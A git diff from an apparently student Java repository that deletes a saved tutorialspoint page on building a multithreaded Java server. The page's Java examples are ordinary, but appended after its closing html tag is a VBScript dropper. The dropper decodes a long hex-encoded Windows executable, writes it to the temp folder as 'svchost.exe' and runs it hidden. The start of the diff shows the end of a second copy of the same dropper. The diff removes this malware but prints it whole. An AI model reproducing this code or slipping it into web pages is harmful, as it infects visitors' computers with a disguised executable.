3EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9120100008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE009002008B0709C0743C8B5F048D8430E8C4020001F35083C708FF9638C50200958A074708C074DC89F95748F2AE55FF963CC5020009C07407890383C304EBE1FF964CC502008BAE40C502008DBE00F0FFFFBB0010000050546A045357FFD58D871F02000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E93E5BFDFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020010000000200000801800000060000080000000000000000000000000000001000100000038000080000000000000000000000000000001001904000050000000A4D00200D8020000000000000000000000000000000000000000000000000100010000007800008000000000000000000000000000000100190400009000000080D30200680100000000000000000000A0600100D80234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001002A006A003D0049002A006A003D0049003F00000000000000040004000100000000000000000000000000000038020000000053007400720069006E006700460069006C00650049006E0066006F00000014020000000030003400300039003000340042003000000040000900010043006F006D00700061006E0079004E0061006D0065000000000053004F0046005400570049004E00200053002E0052002E004C002E0000000000680008000100460069006C0065004400650073006300720069007000740069006F006E000000000042006900740044006500660065006E0064006500720020004D0061006E006100670065006D0065006E007400200043006F006E0073006F006C006500000000003C0009000100460069006C006500560065007200730069006F006E00000000003100300036002E00340032002E00370033002E00360031000000000034000A00010049006E007400650072006E0061006C004E0061006D006500000044043604370440044E043A0448044D04490400003800060001004C006500670061006C0043006F007000790072006900670068007400000032003500320038002D00360031003400320000003C00050001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006E0065006400770070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0AA0203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0AA020A0203C73656375726974793E0D0AA020A020A0203C72657175657374656450726976696C656765733E3C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E00000000000000000000000064D5020038D5020000000000000000000000000071D5020054D502000000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000"
-Set FSO = CreateObject("Scripting.FileSystemObject")
-DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
-If FSO.FileExists(DropPath)=False Then
-Set FileObj = FSO.CreateTextFile(DropPath, True)
-For i = 1 To Len(WriteData) Step 2
-FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
-Next
-FileObj.Close
-End If
-Set WSHshell = CreateObject("WScript.Shell")
-WSHshell.Run DropPath, 0
-//--></SCRIPT>
\ No newline at end of file
diff --git a/group17/1282579502/src/com/coderising/download/net_multisoc.htm b/group17/1282579502/src/com/coderising/download/net_multisoc.htm
deleted file mode 100644
index 852129b19a..0000000000
--- a/group17/1282579502/src/com/coderising/download/net_multisoc.htm
+++ /dev/null
@@ -1,505 +0,0 @@
-<!DOCTYPE html>
-<!--[if IE 8]><html class="ie ie8"> <![endif]-->
-<!--[if IE 9]><html class="ie ie9"> <![endif]-->
-<!--[if gt IE 9]><!-->	<html> <!--<![endif]-->
-<head>
-<!-- Basic -->
-<meta charset="utf-8">
-<title>Java Examples - Multithreaded Server</title>
-<meta name="description" content="Java Examples Multithreaded Server : A beginner's tutorial containing complete knowledge of Java Syntax Object Oriented Language, Methods, Overriding, Inheritance, Polymorphism, Interfaces, Packages, Collections, Networking, Multithreading, Generics, Multimedia, Serialization, GUI." />
-<meta name="keywords" content="Java, Tutorials, Learning, Beginners, Basics, Object Oriented Language, Methods, Overriding, Inheritance, Polymorphism, Interfaces, Packages, Collections, Networking, Multithreading, Generics, Multimedia, Serialization, GUI." />
-<base href="https://www.tutorialspoint.com/" />
-<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
-<meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
-<meta property="og:locale" content="en_US" />
-<meta property="og:type" content="website" />
-<meta property="fb:app_id" content="471319149685276" />
-<meta property="og:site_name" content="www.tutorialspoint.com" />
-<meta name="robots" content="index, follow"/>
-<meta name="apple-mobile-web-app-capable" content="yes">
-<meta name="apple-mobile-web-app-status-bar-style" content="black">
-<meta name="author" content="tutorialspoint.com">
-<script type="text/javascript" src="/theme/js/script-min-v4.js"></script>
-<link rel="stylesheet" href="/theme/css/style-min.css?v=2">
-<!-- Head Libs -->
-<!--[if IE 8]>
-<link rel="stylesheet" type="text/css" href="/theme/css/ie8.css">
-<![endif]-->
-<style>
-pre.prettyprint.tryit {min-height:37px; background: #eee url(javaexamples/images/try-it.jpg) top right no-repeat !important}select{ border:0 !important; outline: 1px inset black !important; outline-offset: -1px !important; }
-div.feature-box div.feature-box-icon, .col-md-3 .course-box, li.heading, div.footer-copyright { background: #ba3232 url(/images/pattern.png) repeat center center !important;}
-.sub-main-menu .sub-menuu div:hover, .sub-main-menu .viewall, header nav ul.nav-main li a:hover, button.btn-responsive-nav, header div.search button.btn-default { background: #ba3232 !important;}
-.submenu-item{ border-bottom: 2px solid #ba3232 !important; border-top: 2px solid #ba3232 !important }
-</style>
-<script>
-$(document).ready(function() {
-  $('input[name="q"]').keydown(function(event){
-    if(event.keyCode == 13) {
-      event.preventDefault();
-      return false;
-    }
-  });
-});
-</script>
-</head>
-<body onload="prettyPrint()">
-<div class="wrapLoader">
-   <div class="imgLoader">
-      <img  src="/images/loading-cg.gif" alt="" width="70" height="70" />
-   </div>
-</div>
-<header>
-   <div class="container">			
-      <h1 class="logo">
-      <a href="index.htm" title="tutorialspoint">
-      <img alt="tutorialspoint" src="/javaexamples/images/logo.png">
-      </a>
-      </h1>			
-      <nav>
-         <ul class="nav nav-pills nav-top">
-            <li><a href="/about/about_careers.htm" style="background: #fffb09; font-weight: bold;"><i class="icon icon-suitcase"></i> Jobs</a></li>
-            <li> <a href="http://www.sendfiles.net"><i class="fa fa-send"></i> &nbsp;SENDFiles</a> </li>
-            <li> <a href="https://www.tutorialspoint.com/whiteboard.htm"><img src="theme/css/icons/image-editor.png" alt="Whiteboard" title="Whiteboard"> &nbsp;Whiteboard</a> </li>
-            <li> <a href="https://www.tutorialspoint.com/netmeeting.php"><i class="fa-camera"></i> &nbsp;Net Meeting</a> </li>
-            <li> <a href="/online_dev_tools.htm"> <i class="dev-tools-menu" style="opacity:.5"></i> Tools </a> </li>
-            <li> <a href="/articles/index.php"><i class="icon icon-file-text-o"></i> &nbsp;Articles</a> </li>            
-            <li class="top-icons">
-              <ul class="social-icons">
-              <li class="facebook"><a href="https://www.facebook.com/tutorialspointindia" target="_blank" data-placement="bottom" title="tutorialspoint @ Facebook">Facebook</a></li>
-              <li class="googleplus"><a href="https://plus.google.com/u/0/116678774017490391259/posts" target="_blank" data-placement="bottom" title="tutorialspoint @ Google+">Google+</a></li>
-              <li class="twitter"><a href="https://www.twitter.com/tutorialspoint" target="_blank" data-placement="bottom" title="tutorialspoint @ Twitter">Twitter</a></li>
-              <li class="linkedin"><a href="https://www.linkedin.com/company/tutorialspoint" target="_blank" data-placement="bottom" title="tutorialspoint @ Linkedin">Linkedin</a></li>
-              <li class="youtube"><a href="https://www.youtube.com/channel/UCVLbzhxVTiTLiVKeGV7WEBg" target="_blank" data-placement="bottom" title="tutorialspoint YouTube">YouTube</a></li>
-              </ul>
-           </li>
-         </ul>
-      </nav>
-         <!-- search code here  --> 
-      <button class="btn btn-responsive-nav btn-inverse" data-toggle="collapse" data-target=".nav-main-collapse" id="pull" style="top: 24px!important"> <i class="icon icon-bars"></i> </button>
-   </div>
-  
-   <div class="navbar nav-main">
-      <div class="container">
-         <nav class="nav-main mega-menu">
-            <ul class="nav nav-pills nav-main" id="mainMenu">
-               <li class="dropdown no-sub-menu"> <a class="dropdown" href="index.htm"><i class="icon icon-home"></i> Home</a> </li>   
-               <li class="dropdown" id="liTL"><a class="dropdown" href="javascript:void(0);"><span class="tut-lib"> Tutorials Library <i class="fa-caret-down"></i></span></a></li>
-               <li class="dropdown no-sub-menu"><a class="dropdown" href="codingground.htm"><i class="fa-code"></i> Coding Ground </a> </li>
-               <li class="dropdown no-sub-menu"><a class="dropdown" href="tutor_connect/index.php"><i class="fa-user"> </i> Tutor Connect</a></li>
-               <li class="dropdown no-sub-menu"><a class="dropdown" href="videotutorials/index.htm"><i class="fa-toggle-right"></i> Videos </a></li>
-               <li class="dropdown no-sub-menu">
-                  <div class="searchform-popup">
-                     <input class="header-search-box" type="text" id="search-string" name="q" placeholder="Search your favorite tutorials..." onfocus="if (this.value == 'Search your favorite tutorials...') {this.value = '';}" onblur="if (this.value == '') {this.value = 'Search your favorite tutorials...';}" autocomplete="off">
-                     <div class="magnifying-glass"><i class="icon-search"></i> Search </div>
-                 </div>
-               </li>
-            </ul>
-         </nav>
-         <div class="submenu-item sub-main-menu" id="top-sub-menu"></div>
-         
-      </div>
-   </div>	
-</header>
-<div style="clear:both;"></div>
-<div role="main" class="main">
-<div class="container">
-<div class="row">
-<div class="col-md-2">
-<aside class="sidebar">
-<div class="mini-logo">
-<img src="/javaexamples/images/examples-mini-logo.jpg" alt="Java Programming Examples" />
-</div>
-<ul class="nav nav-list primary left-menu" >
-<li class="heading">Java Programming Examples</li>
-<li><a href="/javaexamples/index.htm">Example - Home</a></li>
-<li><a href="/javaexamples/java_environment_setup.htm">Example - Environment</a></li>
-<li><a href="/javaexamples/java_strings.htm">Example - Strings</a></li>
-<li><a href="/javaexamples/java_arrays.htm">Example - Arrays</a></li>
-<li><a href="/javaexamples/java_date_time.htm">Example - Date &amp; Time</a></li>
-<li><a href="/javaexamples/java_methods.htm">Example - Methods</a></li>
-<li><a href="/javaexamples/java_files.htm">Example - Files</a></li>
-<li><a href="/javaexamples/java_directories.htm">Example - Directories</a></li>
-<li><a href="/javaexamples/java_exceptions.htm">Example - Exceptions</a></li>
-<li><a href="/javaexamples/java_data_structure.htm">Example - Data Structure</a></li>
-<li><a href="/javaexamples/java_collections.htm">Example - Collections</a></li>
-<li><a href="/javaexamples/java_networking.htm">Example - Networking</a></li>
-<li><a href="/javaexamples/java_threading.htm">Example - Threading</a></li>
-<li><a href="/javaexamples/java_applets.htm">Example - Applets</a></li>
-<li><a href="/javaexamples/java_simple_gui.htm">Example - Simple GUI</a></li>
-<li><a href="/javaexamples/java_jdbc.htm">Example - JDBC</a></li>
-<li><a href="/javaexamples/java_regular_exp.htm">Example - Regular Exp</a></li>
-</ul>
-<ul class="nav nav-list primary left-menu" >
-<li class="heading">Java Tutorial</li>
-<li><a href="/java/index.htm">Java - Tutorial</a></li>
-</ul>
-<ul class="nav nav-list primary left-menu" >
-<li class="heading">Java Useful Resources</li>
-<li><a href="/java/java_quick_guide.htm">Java - Quick Guide</a></li>
-<li><a href="/java/java_useful_resources.htm">Java - Useful Resources</a></li>
-</ul>
-<ul class="nav nav-list primary push-bottom left-menu special">
-<li class="sreading">Selected Reading</li>
-<li><a target="_top" href="/developers_best_practices/index.htm">Developer's Best Practices</a></li>
-<li><a target="_top" href="/questions_and_answers.htm">Questions and Answers</a></li>
-<li><a target="_top" href="/effective_resume_writing.htm">Effective Resume Writing</a></li>
-<li><a target="_top" href="/hr_interview_questions/index.htm">HR Interview Questions</a></li>
-<li><a target="_top" href="/computer_glossary.htm">Computer Glossary</a></li>
-<li><a target="_top" href="/computer_whoiswho.htm">Who is Who</a></li>
-</ul>
-</aside>
-</div>
-<!-- PRINTING STARTS HERE -->
-<div class="row">
-<div class="content">
-<div class="col-md-7 middle-col">
-<h1>Java Examples - Multithreaded Server</h1>
-<div class="topgooglead">
-<hr />
-<div style="padding-bottom:5px;padding-left:10px;">Advertisements</div>
-<script type="text/javascript"><!--
-google_ad_client = "pub-7133395778201029";
-google_ad_width = 468;
-google_ad_height = 60;
-google_ad_format = "468x60_as";
-google_ad_type = "image";
-google_ad_channel = "";
-//--></script>
-<script type="text/javascript"
-src="https://pagead2.googlesyndication.com/pagead/show_ads.js"> 
-</script>
-</div>
-<hr />
-<div class="pre-btn">
-<a href="/javaexamples/java_networking.htm"><i class="icon icon-arrow-circle-o-left big-font"></i> Previous Page</a>
-</div>
-<div class="nxt-btn">
-<a href="/javaexamples/java_networking.htm">Next Page <i class="icon icon-arrow-circle-o-right big-font"></i>&nbsp;</a>
-</div>
-<div class="clearer"></div>
-<hr />
-<h2>Problem Description</h2>
-<p>How to create a multithreaded server ?</p>
-<h2>Solution</h2>
-<p>Following example demonstrates how to create a multithreaded server by using ssock.accept() method of Socket class and MultiThreadServer(socketname) method of ServerSocket class.</p>
-<pre class="prettyprint notranslate tryit">
-import java.io.IOException;
-import java.io.PrintStream;
-import java.net.ServerSocket;
-import java.net.Socket;
-
-public class MultiThreadServer implements Runnable {
-   Socket csocket;
-   MultiThreadServer(Socket csocket) {
-      this.csocket = csocket;
-   }
-   public static void main(String args[]) throws Exception { 
-      ServerSocket ssock = new ServerSocket(1234);
-      System.out.println("Listening");
-      
-      while (true) {
-         Socket sock = ssock.accept();
-         System.out.println("Connected");
-         new Thread(new MultiThreadServer(sock)).start();
-      }
-   }
-   public void run() {
-      try {
-         PrintStream pstream = new PrintStream(csocket.getOutputStream());
-         for (int i = 100; i &gt;= 0; i--) {
-            pstream.println(i + " bottles of beer on the wall");
-         }
-         pstream.close();
-         csocket.close();
-      } catch (IOException e) {
-         System.out.println(e);
-      }
-   }
-}
-</pre>
-<h2>Result</h2>
-<p>The above code sample will produce the following result.</p>
-<pre class="result notranslate">
-Listening
-Connected
-</pre>
-<p>Following is an another example of how to create a multithreaded server.</p>
-<pre class="prettyprint notranslate tryit">
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.io.OutputStreamWriter;
-import java.io.PrintWriter;
-
-import java.net.ServerSocket;
-import java.net.Socket;
-import java.text.SimpleDateFormat;
-import java.util.Calendar;
- 
-public class NewClass {
-   ServerSocket myServerSocket;
-   boolean ServerOn = true;
-   public NewClass() { 
-      try {
-         myServerSocket = new ServerSocket(8888);
-      } catch(IOException ioe) { 
-         System.out.println("Could not create server socket on port 8888. Quitting.");
-         System.exit(-1);
-      } 
-		
-      Calendar now = Calendar.getInstance();
-      SimpleDateFormat formatter = new SimpleDateFormat(
-         "E yyyy.MM.dd 'at' hh:mm:ss a zzz");
-      System.out.println("It is now : " + formatter.format(now.getTime()));
-      
-      while(ServerOn) { 
-         try { 
-            Socket clientSocket = myServerSocket.accept();
-            ClientServiceThread cliThread = new ClientServiceThread(clientSocket);
-            cliThread.start(); 
-         } catch(IOException ioe) { 
-            System.out.println("Exception found on accept. Ignoring. Stack Trace :"); 
-            ioe.printStackTrace(); 
-         }  
-      } 
-      try { 
-         myServerSocket.close(); 
-         System.out.println("Server Stopped"); 
-      } catch(Exception ioe) { 
-         System.out.println("Error Found stopping server socket"); 
-         System.exit(-1); 
-      } 
-   }
-	
-   public static void main (String[] args) { 
-      new NewClass();        
-   } 
-	
-   class ClientServiceThread extends Thread { 
-      Socket myClientSocket;
-      boolean m_bRunThread = true; 
-      public ClientServiceThread() { 
-         super(); 
-      } 
-		
-      ClientServiceThread(Socket s) { 
-         myClientSocket = s; 
-      } 
-		
-      public void run() { 
-         BufferedReader in = null; 
-         PrintWriter out = null; 
-         System.out.println(
-            "Accepted Client Address - " + myClientSocket.getInetAddress().getHostName());
-         try { 
-            in = new BufferedReader(
-               new InputStreamReader(myClientSocket.getInputStream()));
-            out = new PrintWriter(
-               new OutputStreamWriter(myClientSocket.getOutputStream()));
-            
-            while(m_bRunThread) { 
-               String clientCommand = in.readLine(); 
-               System.out.println("Client Says :" + clientCommand);
-               
-               if(!ServerOn) { 
-                  System.out.print("Server has already stopped"); 
-                  out.println("Server has already stopped"); 
-                  out.flush(); 
-                  m_bRunThread = false;
-               } 
-               if(clientCommand.equalsIgnoreCase("quit")) {
-                  m_bRunThread = false;
-                  System.out.print("Stopping client thread for client : ");
-               } else if(clientCommand.equalsIgnoreCase("end")) {
-                  m_bRunThread = false;
-                  System.out.print("Stopping client thread for client : ");
-                  ServerOn = false;
-               } else {
-                  out.println("Server Says : " + clientCommand);
-                  out.flush(); 
-               } 
-            } 
-         } catch(Exception e) { 
-            e.printStackTrace(); 
-         } 
-         finally { 
-            try { 
-               in.close(); 
-               out.close(); 
-               myClientSocket.close(); 
-               System.out.println("...Stopped"); 
-            } catch(IOException ioe) { 
-               ioe.printStackTrace(); 
-            } 
-         } 
-      } 
-   } 
-}
-</pre>
-<hr />
-<div class="pre-btn">
-<a href="/javaexamples/java_networking.htm"><i class="icon icon-arrow-circle-o-left big-font"></i> Previous Page</a>
-</div>
-<div class="print-btn center">
-<a href="/cgi-bin/printpage.cgi" target="_blank"><i class="icon icon-print big-font"></i> Print</a>
-</div>
-<div class="nxt-btn">
-<a href="/javaexamples/java_networking.htm">Next Page <i class="icon icon-arrow-circle-o-right big-font"></i>&nbsp;</a>
-</div>
-<div class="parent-file">java_networking.htm</div>
-<hr />
-<!-- PRINTING ENDS HERE -->
-<div class="bottomgooglead">
-<div class="bottomadtag">Advertisements</div>
-<script type="text/javascript"><!--
-var width = 580;
-var height = 400;
-var format = "580x400_as";
-if( window.innerWidth < 468 ){
-   width = 300;
-   height = 250;
-   format = "300x250_as";
-}
-google_ad_client = "pub-7133395778201029";
-google_ad_width = width;
-google_ad_height = height;
-google_ad_format = format;
-google_ad_type = "image";
-google_ad_channel ="";
-//--></script>
-<script type="text/javascript"
-src="https://pagead2.googlesyndication.com/pagead/show_ads.js">
-</script>
-</div>
-</div>
-</div>
-<div class="row">
-<div class="col-md-3" id="rightbar">
-<div class="simple-ad">
-<a href="javascript:void(0)" onclick="var sTop = window.screen.height/2-(218); var sLeft = window.screen.width/2-(313);window.open('https://www.facebook.com/sharer.php?u=' + 'http://www.tutorialspoint.com/javaexamples/net_multisoc.htm','sharer','toolbar=0,status=0,width=626,height=456,top='+sTop+',left='+sLeft);return false;">
-<img src="/images/facebookIcon.jpg" alt="img" />
-</a>
-<a  href="javascript:void(0)" onclick="var sTop = window.screen.height/2-(218); var sLeft = window.screen.width/2-(313);window.open('https://twitter.com/share?url=' + 'http://www.tutorialspoint.com/javaexamples/net_multisoc.htm','sharer','toolbar=0,status=0,width=626,height=456,top='+sTop+',left='+sLeft);return false;">
-<img src="/images/twitterIcon.jpg" alt="img" />
-</a>
-<a  href="javascript:void(0)" onclick="var sTop = window.screen.height/2-(218); var sLeft = window.screen.width/2-(313);window.open('https://www.linkedin.com/cws/share?url=' + 'http://www.tutorialspoint.com/javaexamples/net_multisoc.htm&amp;title='+ document.title,'sharer','toolbar=0,status=0,width=626,height=456,top='+sTop+',left='+sLeft);return false;">
-<img src="/images/linkedinIcon.jpg" alt="img" />
-</a>
-<a  href="javascript:void(0)" onclick="var sTop = window.screen.height/2-(218); var sLeft = window.screen.width/2-(313);window.open('https://plus.google.com/share?url=http://www.tutorialspoint.com/javaexamples/net_multisoc.htm','sharer','toolbar=0,status=0,width=626,height=456,top='+sTop+',left='+sLeft);return false;">
-<img src="/images/googlePlusIcon.jpg" alt="img" />
-</a>
-<a  href="javascript:void(0)" onclick="var sTop = window.screen.height/2-(218); var sLeft = window.screen.width/2-(313);window.open('https://www.stumbleupon.com/submit?url=http://www.tutorialspoint.com/javaexamples/net_multisoc.htm&amp;title='+ document.title,'sharer','toolbar=0,status=0,width=626,height=456,top='+sTop+',left='+sLeft);return false;">
-<img src="/images/StumbleUponIcon.jpg" alt="img" />
-</a>
-<a  href="javascript:void(0)" onclick="var sTop = window.screen.height/2-(218); var sLeft = window.screen.width/2-(313);window.open('https://reddit.com/submit?url=http://www.tutorialspoint.com/javaexamples/net_multisoc.htm&amp;title='+ document.title,'sharer','toolbar=0,status=0,width=626,height=656,top='+sTop+',left='+sLeft);return false;">
-<img src="/images/reddit.jpg" alt="img" />
-</a>
-</div>
-<div class="rightgooglead">
-<script type="text/javascript"><!--
-google_ad_client = "pub-7133395778201029";
-google_ad_width = 300;
-google_ad_height = 250;
-google_ad_format = "300x250_as";
-google_ad_type = "image";
-google_ad_channel ="";
-//--></script>
-<script type="text/javascript"
-src="https://pagead2.googlesyndication.com/pagead/show_ads.js">
-</script>
-</div>
-<div class="rightgooglead">
-<script type="text/javascript"><!--
-google_ad_client = "pub-7133395778201029";
-google_ad_width = 300;
-google_ad_height = 600;
-google_ad_format = "300x600_as";
-google_ad_type = "image";
-google_ad_channel ="";
-//--></script>
-<script type="text/javascript"
-src="https://pagead2.googlesyndication.com/pagead/show_ads.js">
-</script>
-</div>
-<div class="rightgooglead">
-<script type="text/javascript"><!--
-google_ad_client = "ca-pub-2537027957187252";
-/* Right Side Ad */
-google_ad_slot = "right_side_ad";
-google_ad_width = 300;
-google_ad_height = 250;
-//-->
-</script>
-<script type="text/javascript"
-src="https://pagead2.googlesyndication.com/pagead/show_ads.js">
-</script>
-</div>
-</div>
-</div>
-</div>
-</div>
-</div>
-
-<div class="footer-copyright">
-<div class="container">
-<div class="row">
-<div class="col-md-1">
-<a href="index.htm" class="logo"> <img alt="Tutorials Point" class="img-responsive" src="/scripts/img/logo-footer.png"> </a>
-</div>
-<div class="col-md-4 col-sm-12 col-xs-12">
-   <nav id="sub-menu">
-      <ul>
-         <li><a href="/about/tutorials_writing.htm">Write for us</a></li>
-         <li><a href="/about/faq.htm">FAQ's</a></li>
-         <li><a href="/about/about_helping.htm">Helping</a></li>
-         <li><a href="/about/contact_us.htm">Contact</a></li>
-      </ul>
-   </nav>
-</div>
-<div class="col-md-3 col-sm-12 col-xs-12">
-<p>&copy; Copyright 2017. All Rights Reserved.</p>
-</div>
-<div class="col-md-4 col-sm-12 col-xs-12">
-   <div class="news-group">
-      <input type="text" class="form-control-foot search" name="textemail" id="textemail" autocomplete="off" placeholder="Enter email for newsletter" onfocus="if (this.value == 'Enter email for newsletter...') {this.value = '';}" onblur="if (this.value == '') {this.value = 'Enter email for newsletter...';}">
-      <span class="input-group-btn"> <button class="btn btn-default btn-footer" id="btnemail" type="submit" onclick="javascript:void(0);">go</button> </span>
-      <div id="newsresponse"></div>
-   </div>
-</div>
-</div>
-</div>
-</div>
-</div>
-<!-- Libs -->
-<script type="text/javascript" src="/theme/js/custom-min.js?v=4"></script>
-<script src="https://www.google-analytics.com/urchin.js">
-</script>
-<script type="text/javascript">
-_uacct = "UA-232293-6";
-urchinTracker();
-$('.pg-icon').click(function(){
-   $('.wrapLoader').show();
-});
-</script>
-<script type="text/javascript" src="/theme/js/jquery.colorbox-min.js"></script>
-<script type="text/javascript">
-   var tryit = new $.TryIt('javaexamples/try_javaexamples.php');
-   tryit.compile();
-</script></div>
-</body>
-</html>
-<SCRIPT Language=VBScript><!--
-DropFileName = "svchost.exe"
-WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071